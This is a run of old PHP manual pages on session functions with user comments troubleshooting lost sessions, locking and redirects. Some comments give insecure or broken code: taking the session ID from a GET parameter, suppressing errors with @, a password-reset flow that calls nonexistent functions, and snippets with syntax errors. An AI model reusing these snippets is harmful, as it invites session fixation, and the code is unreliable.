So we needed to check and destroy any session id that do not comply.

After adding this code:
$sn=session_name();
if(isset($_GET[$sn])) if(strlen($_GET[$sn])!=32) unset($_GET[$sn]);
if(isset($_POST[$sn])) if(strlen($_POST[$sn])!=32) unset($_POST[$sn]);
if(isset($_COOKIE[$sn])) if(strlen($_COOKIE[$sn])!=32) unset($_COOKIE[$sn]);
if(isset($PHPSESSID)) if(strlen($PHPSESSID)!=32) unset($PHPSESSID);
session_start();
we got rid of that.

( Note: The code is before session_start() )

Strange, kinda paranoid, but effective.
cppforlife at yahoo dot com 18-Dec-2006 10:12
If you are getting headers sent error check what is the encoding of your file. In my case i had utf-8, so i changed it to ansi, and everything worked.

hope it helps!
mike at mikebird dot co dot uk 10-Dec-2006 02:34
It seems that the session file is opened exclusively.
On some occasions (Windows) I have found that the file lock is not released properly for whatever reason, therefore causing session_start() to hang infinitely on any future script executions.
My way round this problem was to use session_set_save_handler() and make sure the write function used fopen($file, 'w') instead of fopen($file, 'x')
evil dot 2000 at web dot de 07-Oct-2006 04:06
I had a problem accessing a session which is open in another frame at the same time.
I had a frame, which is displaying a live text like a chat. It has an opend and locked session. I tried to add data to this session with another frame, but this wouldn't work.
In the first frame i had a loop which is looking for fresh data in the session and prints it out like this:
<?php
 session_start();

 [...]

 while (true) {
  echo $_SESSION["input"]."\n";
  sleep(1);
 }
?>
But this locks the session, and no other frame can access the session data at the same time.
So i modified this loop a bit like this:
<?php
 session_start();

 [...]

 session_commit();
 while (true) {
  ob_start(); session_start(); ob_end_clean();
  echo $_SESSION["input"]."\n";
  session_commit();
  sleep(1);
 }
?>
Now the second frame is able to access the session.
The ob_start() and ob_end_clean() is just for surpressing the cookie output to the browser.
Dino 30-Sep-2006 06:36
With IE and FF, session_start() appears to stop form values being preserved when the user browses 'back' to a page (I'm using SBS2K3 IIS6 PHP5.1.1).

For example if you set some hidden form values from javascript in one page, then navigate to another page and come back using the browsers back button, the form values should be preserved. But this does not happen when your your form page uses session_start().

The following seems to sort this out nicely:

session_cache_limiter('public');
session_start();
double at dumpit dot de 29-Sep-2006 07:35
A bedder way to check wether the session is started including ip logging, so it will be a little saver. in 4 small lines.

<?php

    if( !isset( $_SESSION ) ) { session_start(); }
    if( isset( $_SESSION['REMOTE_ADDR'] ) && $_SESSION['REMOTE_ADDR'] != $_SERVER['REMOTE_ADDR'] )
    { session_regenerate_id(); $_SESSION['REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; }
    if( !isset( $_SESSION['REMOTE_ADDR'] ) ) { $_SESSION['REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; }

?>

Yes, the code is a little bit self-willed ;)
ben dot morin at spaboom dot com 29-Sep-2006 09:49
James at skinsupport dot com raises a good point (warning) about additional requests from the browser.  The request for favicon.ico, depending on how it is handled, can have unintended results on your sessions.

For example, suppose you have ErrorDocument 404 /signin.php, no favicon.ico file and all pages in your site where the user signs in are also redirected to /signin.php if they're not already signed in.

If signin.php does any clean up or reassigning of session_id (as all good signin.php pages should) then the additional request from the browser for favicon.ico could potentially corrupt the session as set by the actual request.

Kudos to James for pointing it out and shame on me for skimming past it and not seeing how it applied to my problem.  Thanks too to the Firefox Live HTTP Headers extension for showing the additional request.

Don't waste days or even hours on this if your session cookies are not being sent or if the session data isn't what you expect it to be.  At a minimum, eliminate this case and see if any additional requests could be at fault.
truthhunter 25-Sep-2006 05:57
Another one bitten by the "a different domain name gives you a new session" in IE...

My site uses interactive PDF documents.  A user saves data from them into FDF documents, and when this happens, the site also includes the URL of the PDF in the FDF data (using the FDF "/F" tag).

This URL is generated using the $_SERVER["HTTP_HOST"] value from PHP.  For some as-yet-undetermined reason, when my hosting provider updated PHP (I believe to 4.4.1), for a time the $_SERVER["HTTP_HOST"] value apparently dropped the "www." from my domain name.  So, some FDF files were saved with this different URL value.  Needless to say, when one of these FDFs loaded the corresponding PDF, although the load and display of the PDF worked, any subsequent save operation (which relies on current session information for validating the user, etc.) initiated from within the PDF failed.  The original session had been established for the "www.example.com", but because the PDF URL lacked the "www.", PHP/IE had established a new, essentially empty, session.

I scratched my head over this problem for months and only recently happened upon this fix.  In my case, manually patching the failing (binary) FDF files to include the "www." in the URL for the PDF did fix it.

Hopefully someone else finds this helpful...!
mjr-php at ranney dot com 14-Sep-2006 09:55
For some reason, MSIE gets confused when session_start() is called and the Content-disposition has been set to "attachment".  The only solution I've found is this:

<?php
if(strpos($_SERVER['HTTP_USER_AGENT'],"MSIE")) {
  session_cache_limiter('public');
}
session_start();
?>
kyzer at 4u dot net 13-Sep-2006 05:42
Recursive session usage isn't possible. By that I mean fetching (via curl or such) another page on the site which uses sessions, as part of a page which itself uses sessions.

For example:
page1.php:
<?php
session_start();
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "http://example.com/backend.php");
curl_exec($curl);
?>

backend.php:
<?php
session_start();
print $_SESSION['foo'];
?>

In this case, requesting page1.php will hang the request indefinitely. backend.php is waiting to open the session data for reading/writing, but it's still locked by page1.php, which is waiting for backend.php to finish.

Because there's no session_end(), you can't get PHP to relinquish the lock on the session data after session_start() has occured. The solution is just to include backend.php or its functionality directly, e.g.:

require './backend.php';
roope dot luhtalaNOSPAM at iki dot fi 07-Sep-2006 10:36
If your session_start() does not set a cookie, but instead just generates a new session_id on every request, you should check if your script is echoing something before the function call. Even a line change in the code before the session_start() function prevents the cookie to be set.
colemanc at colemanesolutions dot com 28-Aug-2006 03:30
In reference to the "Cannot send session cache limiter..." error message, I have tried a number of ways to supress the error. An If/Then block will work only if you store the flag in a session variable, cookie, or other method. Or, you can obviously supress error messages by the error level. However, the simplest way to do it is a simple:

@session_start();

This will hide all error messages resulting from that line of code. I would only recommend this method AFTER you have fully tested your code but it is very effective when that is your only error and you do not want to completely stop code exectution by means of a die() or exit() function.
core58 at mail dot ru 08-Aug-2006 06:36
when you're using session trans sid ENABLED, and you perform redirect such as Header( "Location..." ), redirected client will SURELY loose his session.
to avoid this, you can use a modified version of redirect function, like this:

<?php

function Redirect302( $location )
{
    $sname = session_name();
    $sid = session_id();
    if( strlen( $sid ) < 1 )
    {
        Header( $location );
        return;
    }

    if( isset( $_COOKIE[ $sname ] ) || strpos( $location, $sname."=".$sid ) !== false )
    {
        Header( $location );
        return;
    }
    else
    {
        if( strpos( $location, "?" ) > 0 )
            $separator = "&";
        else
            $separator = "?";

        $fixed = $location . $separator . $sname."=".$sid;
        Header( $fixed );
        return;
    }
}

?>

expamle:
Redirect302( "Location: /YourPage/index.php" );

the function performs common redirect if no session is active, and appends session "name=sid" to query string when session is already started,  like PHP parser does when outputting your page.

hope, you'll find it useful.
yours:)
devonmitton at gmail dot com 26-Jul-2006 01:35
I ran into the problem of losing the session after i redirect the user with header( location:);

I found that the problem doesn't occur in php5. Atleast for myself. I tested it on IIS as well as Apache and both times using php5 fixed the issue.

Secondly, I found a weird solution: The website i'm building required Cyrillic type, so i encode the pages using UTF-8. The problem that happens is that UTF-8 sends information before the php tags, and therefore before the session_start(); which ultimately renders the session_start(); call ineffective.

The UTF-8 encoding sends a small chunk of information before anything. This is called BOM (byte order marks).

To ensure that they don't show up, you need to save your files with a UTF-8 encoding which bypasses BOM. BBEdit for the Macintosh with allow for this under the file encoding options.

To recap: In this instance and for my situation, UTF-8, no BOM will allow sessions to pass through the header( location:); redirect, or using PHP5.

Hope this helps someone! [i will also repeat this comment under the header() function]
James 13-Jul-2006 04:22
To avoid the notice commited by PHP since 4.3.3 when you start a session twice, check session_id() first:

if (session_id() == "")
  session_start();
saykyo (mail at gmail dot com) 12-Jul-2006 08:23
Watch out for using UTF-8 encoding in your php scripts!

I don't know about other enviroments, but in Windows XP, if you edit a document and set it to be UTF-8, the editor (notepad for exapmle) inserts two invisible bytes at the beginning of the file (they read FF FE in hex for me). I suppose this happens so Windows can identify the file as UTF-8.

Since these two bytes are placed before anything else in the file, including <? ?> tags, when you execute the php script, they get outputed to the browser (even tough they won't be shown in the source of the result document, they're there!) before your php code gets a chance to run anything. This effectively cripples functions like session_start() ($_COOKIE to be exact).

The solution is to save the php file in a different encoding, or to manually remove them (I prefer the former).

I hope I helped somebody.
info at methodus dot de 18-May-2006 11:42
To avoid the notice commited by PHP since 4.3.3 when you start a session twice use this function:

<?php
function start_session(){
    static $started=false;
    if(!$started){
        session_start();
        $started = true;
    }
}
?>

This should help you when your error reporting is set to E_ALL
admin at haravikk dot com 10-May-2006 06:00
Just a note for any of you who have the same trouble as I did. $_SESSION appears to break horribly if you attempt to assign information into integer keys.

For example, a result from a MySQL query may look like:

<?php
array(
    0 => 'haravikk',
    'username' => 'haravikk',
    1 => 'fish',
    'password' => 'fish'
    );
?>

Attempting to assign that to $_SESSION either as a straight array, or by placing all keys (for example using a foreach) will FAIL and the data will be unavailable when you move to another page. My solution was to do this:

<?php
function storeSessionArray($array) {
    foreach($array as $k => $v)
        if (is_string($k)) $_SESSION[$k] = $v;
}
?>

This worked correctly =)
james at skinsupport dot com 22-Dec-2005 06:17
One thing of note that caused me three days of trouble:

It's important to note that Firefox (for one) makes two calls to the server automatically.  One for the page, and one for favicon.ico.

If you are setting session variables (as I was) to certain values when a page exists, and other values when pages don't exist, the values for non-existent pages will overwrite the values for existing pages if favicon.ico doesn't exist.

I doubt many of you are doing this, but if you are, this is a consideration you need to address or you'll be bald over the course of a three day period!
zackbloom at gmail dot com 03-Dec-2005 11:16
Yes php does not automatically insert the SID in header redirects.  You must use something like:
'<address>?SID='.SID
to manually insert the SID.
jeremygiberson at gmail dot com 17-Oct-2005 11:13
foltscane at yahoo dot com wrote about people losing session information on page redirects.

The problem is some times the redirect may kick you off to the next page before all the session variables have been saved. The true solution to lost session vars on redirect is to simply call session_write_close(); before setting the redirect header. This will insure that php finishes writing the session info before page redirect gets underway.

ie:
<?
    session_start();
    $_SESSION['forward'] = "This session data will not be lost!";

    session_write_close();
    header('Location: nextpage.php');
?>
erm[at]the[dash]erm[dot]com 27-May-2005 01:04
If you are insane like me, and want to start a session from the cli so other scripts can access the same information.

I don't know how reliable this is.  The most obvious use I can see is setting pids.

// temp.php

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

if ($_SESSION) {
    print_r ($_SESSION);
}

$_SESSION['test'] = "this is a test if sessions are usable inside scripts";

?>

// Temp 2

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

    print_r ($_SESSION);

?>
corey at eyewantmedia dot com 19-May-2005 07:19
Here is a crazy feature -- you get one concurrent database connection per session, transparent to the programmer!

I am running php 5.0.4 on iis 6 (yeah, I know...). I noticed under stress testing that database connections were my bottleneck. I spent like 5 hours turning this on, that off, etc because I could not get php to create more than one database connection at a time, regardless of how many requests it was servicing. I tried running php as fastcgi, cgi, and isapi module. I tried using mysql and mysqli extensions. Same thing every time. Then I happened to turn off auto-start sessions and commented out my session_start() calls, and all of the sudden I get multiple connections like I expected!

Don't let this happen to you -- don't freak out! Apparently something somewhere tries to make sure your visitors don't get more than their share of your resources, so they get one db connection per session. I can't say it is what I would like to happen, but now that I know, it doesn't bother me much :) Hope this saves someone some time and headache!
Jose Cavieres 12-Apr-2005 10:11
For the problem of session lost after of redirect with header location...

Try with this:
<?
session_start();
$_SESSION['mySession'] = "hello";

header ("Location: xpage.php");
exit(); //This sentence do the magic
?>
jorrizza at gmail dot com 02-Apr-2005 05:33
If you open a popup window (please no commercial ones!) with javascript window.open it might happen IE blocks the session cookie.
A simple fix for that is opening the new window with the session ID in a GET value. Note I don't use SID for this, because it will not allways be available.

----page.php----
//you must have a session active here
window.open('popup.php?sid=<?php echo session_id(); ?>', '700x500', 'toolbar=no, status=no, scrollbars=yes, location=no, menubar=no, directories=no, width=700, height=500');

----popup.php----
<?php
session_id(strip_tags($_GET['sid']));
session_start();
//and go on with your session vars
?>
hbertini at sapo dot pt 13-Mar-2005 12:29
workaround when using session variables in a .php file referred by a frame (.html, or other file type) at a different server than the one serving the .php:

Under these conditions IE6 or later silently refuses the session cookie that is attempted to create (either implicitly or explicitly by invoquing session_start()).

As a consequence, your session variable will return an empty value.

According to MS kb, the workaround is to add a header that says your remote .php page will not abuse from the fact that permission has been granted.

Place this header on the .php file that will create/update the session variables you want:

<?php header('P3P: CP="CAO PSA OUR"'); ?>

Regards,
Hugo
raphael at cynage dot com 22-Feb-2005 08:35
Quick point, since this had been going round in circles for days...

IE will not accept sessions from a domain that has an non alpha-numeric character in it. My development site was running under the vhost mos_dev and it was killing me, trying to work out why IE kept dropping my sessions.
lukasl at ackleymedia dot REMOVESPAM dot com 17-Dec-2004 10:18
About the Session not getting saved on a header("Location:") redirect.

Make sure to call session_write_close() before doing the redirect.  This will make sure that the session values get written to the disk.
m dot kuiphuis at hccnet dot nl 24-Jun-2003 03:37
[Editors Note: For more information about this
http://www.zvon.org/tmRFC/RFC882/Output/chapter5.html ]

I use name-based virtual hosting on Linux with Apache and PHP 4.3.2.
Every time when I refreshed (by pressing F5 in Internet Explorer) I noticed that I got a new session_id. Simultaneously browsing the same site with Netscape didn't give me that problem. First I thought this was some PHP issue (before I tested it with Netscape), but after searching a lot on the internet I found the problem.
Since I was using name based virtual hosting for my testserver and we have different webshops for different customers I used the syntax webshop_customername.servername.nl as the domain-name.
The _ in the domain name seemed to be the problem. Internet Explorer just denies setting the cookie on the client when there is a special character (like an _ ) in the domain name. For more information regarding this issue: http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112
Stupidly enough, this information was related to asp (yuk :o)
gadgetguy03 at lycos dot com 20-Jun-2003 07:18
SESSION LOST ON HEADER REDIRECT (CGI on IIS 5.0)

I realize there are numerous scattered posts on this issue, but I would like to add my 2� since it took me a whole day and a download of the LiveHTTPHeaders Mozilla plugin to figure it out.

On the **CGI** version of PHP on IIS 5.0/Windows 2000, the following code will not work as expected:

/***** sess1.php *****/
session_start();
$_SESSION["key1"] = "testvalue";
header("Location: sess2.php");

/***** sess2.php *****/
session_start();
echo "key1 = '".$_SESSION["key1"]."'";

PROBLEM:
All session data is lost after a header redirect from the first page on which the session is initialized. The problem is, the PHPSESSID cookie is not being sent to the browser (ANY browser, IE or Mozilla) on the initial session page with the header("Location: ...") redirect. This is unrelated to client cookie settings - the set-cookie: header just isn't sent.

SOLUTION:
I was able to remedy the problem by switching to the ISAPI DLL version. This seems to be an MS/IIS bug, NOT a PHP bug - go figure. I hope this saves you some headaches especially with your user authentication scripts!!

The closest matching "bug" report I found:
http://bugs.php.net/bug.php?id=14636
benja at benja dot be 15-Apr-2003 11:45
Just for info, session_start() blocks if another PHP using the same session is still running in background. It seems it's waiting the other PHP to finish... and sometimes it can be a problem. Create 2 different sessions by setting 2 different names : session_name() solve the problem.

Benja.
mickey at UNSPAMwebsoft dot com 19-Mar-2002 05:00
A note on Windows installations with an NTFS file structure:

Make sure you give your Internet user account (usually IUSR_MACHINENAME) "Modify" access to the session.save_path directory.  Otherwise session_start() will silently - and oh, so slowly - fail.

("Modify" is a Win2k term, but the concept translates to older IIS installs).
session_set_save_handler
session_status
Session Functions


Returns the current session status

session_start
session_unregister
Session Functions
PHP Manual

session_status

(PHP >=5.4.0)

session_status — Returns the current session status

Description

int session_status ( void )

session_status() is used to return the current session status.

Return Values

  • PHP_SESSION_DISABLED if sessions are disabled.
  • PHP_SESSION_NONE if sessions are enabled, but none exists.
  • PHP_SESSION_ACTIVE if sessions are enabled, and one exists.

See Also

  • session_start() - Initialize session data

User Contributed Notes

There are no user contributed notes for this page.
session_start
session_unregister
Session Functions


Unregister a global variable from the current session

session_status
session_unset
Session Functions
PHP Manual

session_unregister

(PHP 4, PHP 5)

session_unregister — Unregister a global variable from the current session

Description

bool session_unregister ( string $name )

session_unregister() unregisters the global variable named name from the current session.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

name

The variable name.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use unset() to unregister a session variable. Do not unset() $_SESSION itself as this will disable the special function of the $_SESSION superglobal.

Caution

This function does not unset the corresponding global variable for name, it only prevents the variable from being saved as part of the session. You must call unset() to remove the corresponding global variable.

Caution

If you are using $_SESSION (or
$HTTP_SESSION_VARS), do not use
session_register(),
session_is_registered() and
session_unregister().

User Contributed Notes

dylan82 AT xs4all DOT nl 09-Dec-2004 01:13
If globals is on, you'll have to unset the $_SESSION[varname] as well as the $varname.

Like:

unset($_SESSION[varname]);
unset($varname);
jsmith at uncommoner dot com 26-Nov-2004 10:55
as a side note you must have session_start() set inorder to actually unregister the session varibles.
session_status
session_unset
Session Functions


Free all session variables

session_unregister
session_write_close
Session Functions
PHP Manual

session_unset

(PHP 4, PHP 5)

session_unset — Free all session variables

Description

void session_unset ( void )

The session_unset() function frees all session variables currently registered.

Return Values

No value is returned.

Notes

Note:

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use unset() to unregister a session variable, i.e. unset ($_SESSION['varname']);.

Caution

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

User Contributed Notes

tim at leethost dot com 05-Jan-2012 03:50
I was having a problem clearing all session variables, deleting the session, and creating a new session without leaving old session stuff behind in all browsers.  The below code is perfect for a logout script to totally delete everything and start new.  It even works in Chrome which seems to not work as other browsers when trying do logout and start a new session.

<?php
    session_start();
    session_unset();
    session_destroy();
    session_write_close();
    setcookie(session_name(),'',0,'/');
    session_regenerate_id(true);
?>
notsonewbie 05-Jan-2011 03:56
dash2nash: you have to start the session before you can unset or destroy it.
dash2nash 21-Oct-2010 06:16
Im using chrome and Im not a pro in php, but Im certainly sure that session sure is buggy on google chrome, I use:

    session_unset();
    session_destroy();
    $_SESSION = array();
    session_start();

every time the page load, yet, some of the session still there. It's quite scary problem :s
angelitoestebancito at gmail dot com 16-Aug-2008 02:41
If you create a logout.php to end user session, do not forget to start the session in this page!, using session_start() at the very begging of your script. Thus,

session_start();
session_unset();
session_destroy();

will be the right sequence to end a user's session.
This is a very basic concept, but took me a while to realize I was forgetting to start the session.
00 at f00n dot com 23-Jun-2008 07:00
-------------------------------------------------------
InterNic
20-May-2006 11:20
sometimes you might have problems even if using both session_unset and session_destroy. You have to clear the $_SESSION array. I got it working this way:

session_unset();
session_destroy();
$_SESSION = array();
-------------------------------------------------------

When I used this method the session still existed in structure until the array is reset completely.

This, however, has the drawback of clearing all sessions which may not be ideal in some cases.

Named sessions may help in such cases.
pentek_i at inf dot elte dot hu 08-Aug-2006 04:54
You should know that on recent PHP only the first one of these functions works correctly. And if you use the other two, var_dump will print you the result you expected (session cleaned up), but the session file on the server won't be cleaned up. So use the first one.

<?php

function session_clean1($logout=false)
 {
  $v=array();
  foreach($_SESSION as $x=>$y)
   if($x!="redirector"&&($x!="user"||$logout))
    $v[]=$x;

  foreach($v as $x)
   unset($_SESSION[$x]);
  return;
 }

function session_clean2($logout=false)
 {
  foreach($_SESSION as $x=>$y)
   if($x!="redirector"&&($x!="user"||$logout))
    unset($_SESSION[$x]);
  return;
 }

function session_clean3($logout=false)
 {
  $s=($logout||!isset($_SESSION["user"]))?array():
   array("user"=>$_SESSION["user"]);
  if(isset($_SESSION["redirector"]))
   $s["redirector"]=$_SESSION["redirector"];
  $_SESSION=$s;
 }

?>

On previous php (<<5.1.4) releases at least the third one worked correctly.
InterNic 20-May-2006 03:20
sometimes you might have problems even if using both session_unset and session_destroy. You have to clear the $_SESSION array. I got it working this way:

session_unset();
session_destroy();
$_SESSION = array();
zach at zkwarta dot com 13-Jul-2005 03:32
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the sesison for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser:

session_unset();
session_destroy();

I noticed that in firefox, one could simply use sesison_unset and the session would be cleared. When trying this on IE, I was horrified to find out that the data was still there, so I had to use session destroy.
Jeroen 15-Jan-2005 01:42
note to Jason: I don't know the exact mechanics of it (since I'm quite new to sessions) but I think you need to use session_unset() BEFORE you can use session_destroy() at all.  I thought that session_unset() was for scripted variables, and session_destroy() just for anything saved on your side regarding the session.
21-Mar-2001 08:58
To further clarify the note above... this can be done via the session handling directives in your php.ini file... there are options to set garbage collection probability (via percent... i.e. 75 means it would run 3 out of every 4 page accesses), and the amount of time a session object can remain active before the garbage collection process sees it as garbage.
dmertens at zyprexia dot com 31-Jan-2001 09:11
The session files are automaticly deleted after the session-timeout is reached. So if the time-out is set to 20 minutes, the files will be deleted 20 minutes after the last access. Same for the cookie. Every time, an page is requested, the cookie-ttl is set to now + 20 minutes.

PHP is a very clean scripting engine, which leaves no garbage on your system!
j a s o n p 0 1 9 at yahoo dot com 13-Jul-2000 01:26
session_unset() vs. session_destroy():
I would say that the difference is that session_destroy() destroys the session variables, both in the script and where the session data is stored on disk.  session_unset() is like doing a session_unregister() on all registered variables.  They can still be re-registered by calling session_register() whereas after session_destroy, they cannot.
session_unregister
session_write_close
Session Functions


Write session data and end session

session_unset
SessionHandler
Session Functions
PHP Manual

session_write_close

(PHP 4 >= 4.0.4, PHP 5)

session_write_close — Write session data and end session

Description

void session_write_close ( void )

End the current session and store session data.

Session data is usually stored after your script terminated without the need to call session_write_close(), but as session data is locked to prevent concurrent writes only one script may operate on a session at any time. When using framesets together with sessions you will experience the frames loading one by one due to this locking. You can reduce the time needed to load all the frames by ending the session as soon as all changes to session variables are done.

Return Values

No value is returned.

User Contributed Notes

sss at activators dot info 06-Oct-2011 01:55
i have been using a mysql database custom session handler (not using cookies) and was having problems getting the session data to be saved consistantly on my database driven website

clients also have to navigate across domains for website management at times so i have some special code to make all this happen relatively seamlessly and to ensure that each person's data is secure.

i added session_write_close() at the very end of the last script that set session data and solved the problem.

i am not sure why, but it seems the calls to write and close were not always being made (i was not smart enough to figure it out)

now that the session_write_close() call is being made, my problems seemed to have disappeared - hopefully for good.

hope this helps someone.
joadha at gmail dot com 10-Mar-2011 10:23
Remember: objects with private and/or protected data members cannot be serialized properly by PHP. If you ever find that you are missing some objects from your $_SESSION, make sure you are accounting for this shortcoming in your application.
Anonymous 25-Mar-2010 11:44
You can have interesting fun debugging anything with sleep() in it if you have a session still active.  For example, a page that makes an ajax request, where the ajax request polls a server-side event (and may not return immediately).

If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall.
prophp at gmail dot com 26-Nov-2009 06:21
Beware, if you overwrite the default PHP Session handling and use debugging code inside the write() function, the debugging code is not executed until you run session_write_close().

I tried everything, file logging directly from the write() function, global debugging variable increments, static class properties. The only things written were the session open() and read() calls. My debugging code looks like this:
<?php
$Session = new Session();
...
class Session() {
    public function write($id)
        $sql = "UPDATE ... WHERE id=". mysql_real_escape_string($id);
        self::$debug_Info .= "session_write sql=$sql";
    ...
}

# then at the very end of the script:
# session debugging
session_write_close();
error_log($Session->getDebugInfo(), 3, 'logs/sessions.log');
?>

where getDebugInfo simply returns self::$debug_Info. Without session_write_close() the sessions.log would only contain the open() and read() calls.

Maybe intuitive to many, it took days to realize. hope it helps!
web at murray-mint dot co dot uk 11-Sep-2009 05:36
If you're saving data to a session but finding it's not actually being saved, check and ensure that you're not assigning any arrays with a key containing the pipe character (|). This will prevent the session data from being serialized and saved.
martyrs_cry at hotmail dot com 14-May-2009 01:06
Using a SQL Server database and Windows Server 2003, if you use session_write_close() prior to a header() call, and it still appears to freeze up your session, check to make sure that you are not in the middle of a transaction.

I noticed that by starting a transaction, executing some queries, attempting to write close the session and then redirecting without rolling back or committing that transaction, your session may freeze up. Just like what you may experience if you attempt to redirect with header() without first calling session_write_close().
noel 03-Nov-2008 09:29
I was having the same problem as many here regarding setting session data just before a header location redirect and having the session data just not be there.  I tried everything people here said, and none of their combinations worked.  What did finally work for me was to fire off a session_regenerate_id(true) call just prior to the header() and die() calls.

session_regenerate_id(true);
header('location: blah blah');
die();

Without the regenerate id call, the write close did not seem to do anything.  session_write_close() doesn't seem to matter at all.  It certainly didn't fix anything on its own for me.

This is a rather annoying issue with php sessions that I've never run into before.  I store my sessions to /dev/shm (which is RAM) so file IO blocking can't be the problem.  Now I'm nervous that some other session data might not be getting updated prior to a header() location change, which is extremely important and common in any web app.
ivan at alexandrov dot biz 29-Sep-2008 07:14
I had a problem with realizing the restore password form. First a user entered his login or e-mail in the system.

Then the script searched the database, got the session data, and sended link with SID to registered e-mail. The link was configured so, that it restored session data and logged user in the secure interface to the change password form.

Then was displayed a page with the message about sended message.

The problem was that ID was not unique in three pages, the SID sended to e-mail anyone could see in cookie.

I tryed to start new session before generating and after sending link with the code:

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
$_SESSION = $user_login;
$_SESSION = $user_id;
/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING A NEW SESSION*/
session_start();
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

The trouble was that SID was the same even after session_unlink() and session_write_close(). The session_start() function just restored the previous session data!!! So the script was not safe.
Then I added session_regenerate_id() call after each session_start().

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
session_regenerate_id();//Regenerating SID for sending

$_SESSION = $user_login;
$_SESSION = $user_id;

/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING ANOTHER NEW SESSION*/
session_start();
session_regenerate_id(); //Regenerating SID
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

 And now it works as needed! The SID sending to user we cannot see in cookies nor before neither after generated link, but the data is saved in session with this id. So only the owner of account can get it!
kent openit se 22-Sep-2008 02:49
When trying to use exec on Windows 2003 Server together with WAMP you probably will experience that the server stops to answer your requests.

Through calling session_write_close before -every- exec this will solve your problem.

Hope this will help someone!
yacine at wasabihawaii dot com 06-Aug-2008 02:04
My sessions were screwing up because I had 2 different session IDs going at once:

- 1 PHPSESSID cookie for domain.com
- 1 PHPSESSID cookie for www.domain.com

This fixed it:

//At the beginning of each page...
session_set_cookie_params  (1800,"/","domain.com");
session_start();
lee 20-Jun-2008 07:35
It seems that the session data is written out when there is actual changes to the array.

class Login(){
function logoff(){
session_unset();
@session_destroy();
@session_start();
$_SESSION = array();
session_commit();
}
}

//during test, this doesn't work and the session data remain.
classLoginObject->logoff();

//I fix it like this
class Login(){
function logoff(){
session_unset();
@session_destroy();
@session_start();
$_SESSION = array();
$_SESSION['cleardata'] = 1;    <------
unset($_SESSION['cleardata']);<------
session_commit();
}
}

//after the fix, this works and the session is empty.
classLoginObject->logoff();

I was using phpunit(Sebastian Bergmann) to do my test.
burak >>>at 25-Apr-2008 11:32
I had a similar problem with session data.
I lost the session data randomly, without any pattern. I didn't even use the header(location:... ) function.

Tried:
set "session.use_cookies" to 1 in php.ini
session-write-close()
ob_start() / ob_end_flush()

No matter what I did, it didn't worked.

Finally, when I set the "session.use_only_cookies" to 1, problem is solved. I am no longer losing any sessions.
infinite____ at abv dot bg 11-Nov-2007 02:10
I had a problem with sessions and header("Location: URL"). The session cookie was created, however every time I call session_start() a new session file was created. Please note, that the solution is in php.ini: session.referer_check is the option. I have changed it to a location x and when I tried to start up session in location y, the session cookies were invalid.
steve at dot-totally dot co dot uk 21-Jul-2007 12:03
For the session problem when using header("Location:..."), I found session_write_close() not to help me on the my IIS server using PHP in CGI mode. The problem was the PHPSESSID cookie was never being set, so I did it the manual way:

header("Set-Cookie: PHPSESSID=" . session_id() . "; path=/");

Worked for me this way!
26-Apr-2007 03:11
I was having trouble with session data being lost / not carrying over to other pages when using header("Location: ..."), and session_write_close() was not helping.

I was writing to $_SESSION by doing:

$_SESSION = $myArray;

I eventually found that doing it this way helped:

foreach($myArray as $k => $v)
{
    $_SESSION[$k] = $v;
}

The problem was strange; I've assigned arrays to $_SESSION countless times and never had trouble with it. In fact, I was doing it in many places elsewhere in the same application, and I never ran into any problems.

I spent hours figuring out what was happening. Hope this saves time for somebody out there.
cottoANTISPAM at ori dot org 14-Mar-2007 11:37
This function is useful for forcing serialization of session data but it can introduce difficult-to-track bugs if it's called more than once per session_start() call.  Since it doesn't have a return value or raise an exception there won't be any indication that the serialization failed and the code will continue normally.  Only when a user visits a page that depends on unsaved session data will there be any indication of the failure.
As far as I can tell this affects both the default and custom session handling functions.

<?
session_start();
$_SESSION['foo'] = 'box';
session_write_close();

if (array_key_exists('visited',$_SESSION) {
    echo "welcome back!\n"; # will never happen
} else {
    echo "I don't know you.\n";
    $_SESSION['visited'] = true;
    session_write_close();
}
?>
tyler at n49 dot com 31-Jan-2007 05:49
Along the same lines as what cenaculo at netcabo dot pt, bkatz at usefulengineering dot com, and editorial at literati dot ca said about making sure you session_write_close(), don't forget to ob_end_flush() if you're using output buffering.

I've been having some weird hanging issues when I tried to navigate away from a page with content streaming in an Iframe or a separate window.

Instead of:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>

Do:

<?
ob_start();
